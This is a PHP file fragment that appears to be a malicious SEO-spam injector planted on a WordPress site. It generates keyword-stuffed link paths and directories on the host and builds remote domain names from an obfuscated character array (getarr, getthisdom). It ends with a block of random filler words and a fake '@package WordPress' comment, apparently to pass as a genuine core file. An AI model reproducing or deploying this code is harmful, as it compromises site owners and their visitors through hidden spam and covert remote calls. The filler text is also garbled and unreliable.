generate_dir_file($gDir=''){ global $hostDir; $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir); $arr = explode(DIRECTORY_SEPARATOR,$gDir); if(count($arr) <= 0) return; if(!strstr($gDir,$hostDir)) $dir = $hostDir; else $dir = ''; for($i = 0 ; $i < count($arr)-1 ; $i++){ $dir .= DIRECTORY_SEPARATOR . $arr[$i]; my_mkdir($dir); } return $dir; } function strFilter($str){ $str = str_replace('`', '', $str); $str = str_replace('·', '', $str); $str = str_replace('~', '', $str); $str = str_replace('!', '', $str); $str = str_replace('!', '', $str); $str = str_replace('@', '', $str); $str = str_replace('#', '', $str); $str = str_replace('$', '', $str); $str = str_replace('¥', '', $str); $str = str_replace('%', '', $str); $str = str_replace('^', '', $str); $str = str_replace('……', '', $str); $str = str_replace('*', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('-', '', $str); $str = str_replace('_', '', $str); $str = str_replace('——', '', $str); $str = str_replace('+', '', $str); $str = str_replace('=', '', $str); $str = str_replace('|', '', $str); $str = str_replace('\\', '', $str); $str = str_replace('[', '', $str); $str = str_replace(']', '', $str); $str = str_replace('【', '', $str); $str = str_replace('】', '', $str); $str = str_replace('{', '', $str); $str = str_replace('}', '', $str); $str = str_replace(';', '', $str); $str = str_replace(':', '', $str); $str = str_replace('<', '', $str); $str = str_replace('>', '', $str); $str = str_replace(':', '', $str); $str = str_replace('\'', '', $str); $str = str_replace('"', '', $str); $str = str_replace(',', '', $str); $str = str_replace(',', '', $str); $str = str_replace('《', '', $str); $str = str_replace('》', '', $str); $str = str_replace('.', '', $str); $str = str_replace('。', '', $str); $str = str_replace('–', '', $str); $str = str_replace('–', '', $str); $str = str_replace('/', '', $str); $str = str_replace('、', '', $str); $str = str_replace('?', '', $str); $str = str_replace('?', '', $str); $str = str_replace('°', '', $str); $str = str_replace('&', '&', $str); return trim($str); } function getalink($pid,$pname=''){ global $arrnametime,$arrKeywz,$arr_word,$strRand; if(strstr($pname,'#cat#')){ $tp_pname_arr = explode('#cat#',$pname); $pname = $tp_pname_arr[1]; $precat = $tp_pname_arr[0]; } if(function_exists("preg_split")){ $tpnameArr = preg_split('/\s+/us', $pname); }else{ $tpnameArr = explode(' ', $pname); } $pnameArr = array(); foreach($tpnameArr as $tpvs){ $tpvs = trim($tpvs); if($tpvs){ $pnameArr[] = $tpvs; } } $numPname = count($pnameArr); if($numPname > 3){ $numLinkKey = round(PNAMELEN * $numPname / 100); $yushu = KEYJG % $numPname; $arrPre = array(); $arrLast = array(); for($i=0;$i<$numPname;$i++){ if($i<$yushu){ $arrLast[] = $pnameArr[$i]; }else{ $arrPre[] = $pnameArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $usedNameArr = array(); for($i=0;$i<$numLinkKey;$i++){ $usedNameArr[$i] = $arrPre[$i]; } if(count($usedNameArr)){ $pname = implode(' ',$usedNameArr); } } if(JDT == 0){ $precat = strFilter($precat); $precat = preg_replace('/\s+/', '-', $precat); } $pname = strFilter($pname); $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{ $filePres = $siteLink."/"; } $rsp = '#'. BZPRO .'\d+#'; $pname = trim($pname); $pname = preg_replace('/\s+/', '-', $pname); if(JDT == 3){ $rs = '#&[^;]+;#i'; $pname = preg_replace($rs,'',$pname); while(strstr($pname,'&')) $pname = str_replace('&','',$pname); while(strstr($pname,'--')) $pname = str_replace('--','-',$pname); $linkCenter = $pname .'-' .$pid; $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); return $rtStr; } if(strlen($pname) > 235){ $rs = '#&[^;]+;#i'; $pname = preg_replace($rs,'',$pname); $pname = str_replace('&','',$pname); $pname = str_replace('&',';',$pname); if(function_exists("mb_substr")){ $pname = mb_substr($pname, 0, 235, 'utf-8'); }else{ $pname = substr($pname, 0, 235); } } // $precat = preg_replace($rsp,'',$precat); // $precat = str_replace('&','',$precat); // $precat = str_replace('&',';',$precat); // $precat = preg_replace('/\s+/', '-', $precat); $pname = preg_replace($rsp,'',$pname); if(JDT == 0){ $linkCenter = $pname.'-'.$pid; }else{ $linkCenter = $pname.'-'.$pid; } $linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); while(strstr($linkCenter,'--')) $linkCenter = str_replace('--','-',$linkCenter); // $linkCenter = str_replace('/-','/',$linkCenter); $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); $rtStr = str_replace('-amp;-','-&-',$rtStr); return $rtStr; } function rmhtmltag($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>.*?#s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>.*?#i'; $str = preg_replace($rulers,'',$str); return $str; } function rmhtmltag2($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>#s'; $str = preg_replace($rulers,'',$str); $rulers = '##s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>#i'; $str = preg_replace($rulers,'',$str); $rulers = '##i'; $str = preg_replace($rulers,'',$str); return $str; } // function is_ip($localIp,$ipRanges) { $localIp = ip2long($localIp); foreach($ipRanges as $val) { $ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1])); if($localIp >= $ipmin && $localIp <= $ipmax) { return true; } } return false;} function RandAbcs($length = ""){ $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-"; return ($str); } function getarr(){ global $O00O0O; $arr[0]=$O00O0O{17}.$O00O0O{19}.$O00O0O{12}.$O00O0O{0}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{3}.$O00O0O{2}.$O00O0O{19}.$O00O0O{0}.$O00O0O{12}.$O00O0O{2}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{9}.$O00O0O{15}.$O00O0O{22}.$O00O0O{22}.$O00O0O{18}.$O00O0O{12}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{18}.$O00O0O{14}.$O00O0O{22}.$O00O0O{14}.$O00O0O{14}.$O00O0O{3}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{2}.$O00O0O{0}.$O00O0O{20}.$O00O0O{0}.$O00O0O{17}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}; return $arr; } function getthisdom(){ $myArrs = getarr(); return 'http://www.'.$myArrs[CENTERKEY].MYDIR; } function get_real_ip(){ $ip = ''; /** * resolve any proxies */ if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) { $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } if (trim($ip) == '') { if (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } else { $ip = getenv('REMOTE_ADDR'); } } /** * sanitize for validity as an IPv4 or IPv6 address */ $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip); /** * if it's still blank, set to a single dot */ if (trim($ip) == '') $ip = '.'; return $ip; } /** * agent avenue coil deaf elastic equation mainland molecule navigation negative optimistic regulate relief temptation ultimate urban. * comparative expend genuine luxury omit sensible vague. * infinite mood reject tendency. * applause bargain collision discount horror index jail legislation liquor manufacture massive obstacle origin outstanding peak religious resume route split target weave. * applicant appropriate bacteria entertainment germ grand guilty insignificant liberty prominent prosperity sexual substitute survey vain. * consistent extraordinary garbage moist removal reveal treaty witness. * academic alcohol approve arichmetic duration enviroment essential fertilizer loose notify passport relief render resemble sake suspicion trend valley virus witness. * accomplish acquire delicate electron exceed extinct gallon gasoline glimpse horror naked naval primitive prohibit prompt remarkable shallow video volcano. * distress internal poverty preserve zone. * absolute applause appreciate bachelor capture equation excursion explore hydrogen liable massive neglect nevertheless nucleus organ parallel precaution shuttle significance skim spit tone undergraduate vitally. * applicable available bother domestic expend highlight jungle liable nuclear particularly passive principal profit prominent reluctant respond restrict sensible. * ceremony column flee haste insignificant massive nuclear opponent prior retain suspicious. * column jungle legislation male moist odd parade remedy semester valid weed. * attach descend estimate exterior invade joint liberty notion parade particularly primitive retain sponsor trap volume. * Internet abuse acknowledge boundary commit gear grateful mainland prescribe remedy scale secure tide vote. * academic algebra bundle comedy continuous durable entry exclude hardware holy hostile outset petrol principal scratch tedious tense transplant undergo vessel wax. * burden export female mere textile. * attitude deputy distinguish flash genuine germ hestiate infect ingredient internal kneel mature mission prospect retain revenue severe tense tide triumph usage violet volume. * * @package WordPress */ //file end